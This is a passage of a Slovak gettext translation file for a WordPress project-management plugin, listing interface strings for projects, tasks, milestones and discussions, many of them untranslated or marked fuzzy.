aktualizoval komentár k %s" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:194 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a milestone, %2$s." -msgstr "%s pridal komentár k %s" - -#: texts/activities.php:198 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:202 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:206 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:212 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on the project, %2$s." -msgstr "%s pridal komentár k %s" - -#: texts/activities.php:216 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -#: texts/activities.php:224 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:230 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a file, %2$s." -msgstr "%s pridal komentár k %s" - -#: texts/activities.php:234 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:238 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:242 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "%s aktualizoval komentár k %s" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -#: texts/resource_types.php:5 -#, fuzzy -#| msgid "Project" -msgid "project" -msgstr "Projekt" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "" - -#: texts/resource_types.php:11 -#, fuzzy -#| msgid "Task List" -msgid "task list" -msgstr "Zoznam úloh" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -#: texts/resource_types.php:17 -#, fuzzy -#| msgid "Milestone" -msgid "milestone" -msgstr "Medzník" - -#: texts/resource_types.php:20 -#, fuzzy -msgid "comment" -msgstr "1 komenár" - -#: texts/resource_types.php:23 -msgid "file" -msgstr "" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -#: texts/success_messages.php:81 -#, fuzzy -#| msgid "No comments found" -msgid "No element found" -msgstr "Neboli nájdené žiadne komentáre" - -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" -msgstr "Žiadny projekt nebol nájdený" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -#, fuzzy -#| msgid "Are you sure?" -msgid "Are you sure!" -msgstr "Ste si istí?" - -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "Naozaj chcete zmazať tento projekt?" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "" - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure! Want to delete this milestones?" -msgstr "Naozaj chcete zmazať túto správu?" - -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -#, fuzzy -#| msgid "Are you sure to delete this project?" -msgid "Are you sure to delete this comment?" -msgstr "Naozaj chcete zmazať tento projekt?" - -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -#, fuzzy -#| msgid "Add New Message" -msgid "Add New Category" -msgstr "Vytvor novú správu" - -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -#, fuzzy -#| msgid "Update Message" -msgid "Update Category" -msgstr "Aktualizuj správu" - -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "Aktivity v projekte" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "" - -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "Zoznam úloh" - -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "Medzníky" - -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "Súbory" - -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "Uprav" - -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "Odstrániť túto správu" - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -msgid "Make it private" -msgstr "" - -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "Zadajte názov správy" - -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "Nová správa" - -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "Aktualizuj správu" - -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "Začni nový projekt" - -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "Názov projektu" - -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "Ďalšie informácie o projekte (nepovinné)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "" - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "" - -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "Pridaj nový projekt" - -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "Aktualizácia projektu" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "" - -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "Uprav medzník" - -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "Odstrániť medzníka" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "Označiť dokončené" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "" - -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "Názov medzníka" - -#: views/assets/js/pm.js:13573 -#: views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "Pridaj medzník" - -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "Aktualizuj medzník" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "" - -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "Pridaj úlohu" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "" - -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "Aktualizovať zoznam" - -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "Pridaj zoznam" - -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -#, fuzzy -#| msgid "Delete milestone" -msgid "Delete List" -msgstr "Odstrániť medzníka" - -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "Uložiť zmeny" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "" - -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "Aktivity" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -msgid "router-view" -msgstr "" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "Odstráň" - -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "Vybrať všetko" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "Zruš" - -#: views/assets/src/components/common/color-picker.vue:9 -#, fuzzy -#| msgid "Select all" -msgid "Select Color" -msgstr "Vybrať všetko" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "Vymaž súbor" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "Dokončené" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "" - -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "Informujte užívateľov" - -#: views/assets/src/components/project-activities/activities.vue:46 -#, fuzzy -#| msgid "Load More..." -msgid "Load More ..." -msgstr "Načítať ďalšie ..." - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "Vytvorte novú správu" - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -#, fuzzy -#| msgid "Body" -msgid "By" -msgstr "Správa" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:62 -#, fuzzy -#| msgid "No users found" -msgid "No result found!" -msgstr "Noboli nájdený žiadný užívatelia" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "Nový projekt" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "Úlohy" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "Dokončené medzníky" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "Dokončené:" - -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "Neskoré medzníky" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "Nadchádzajúce medzníky" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -#, fuzzy -#| msgid "left" -msgid "left -" -msgstr "vľavo" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "Nový zoznam úloh" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "" - -#: 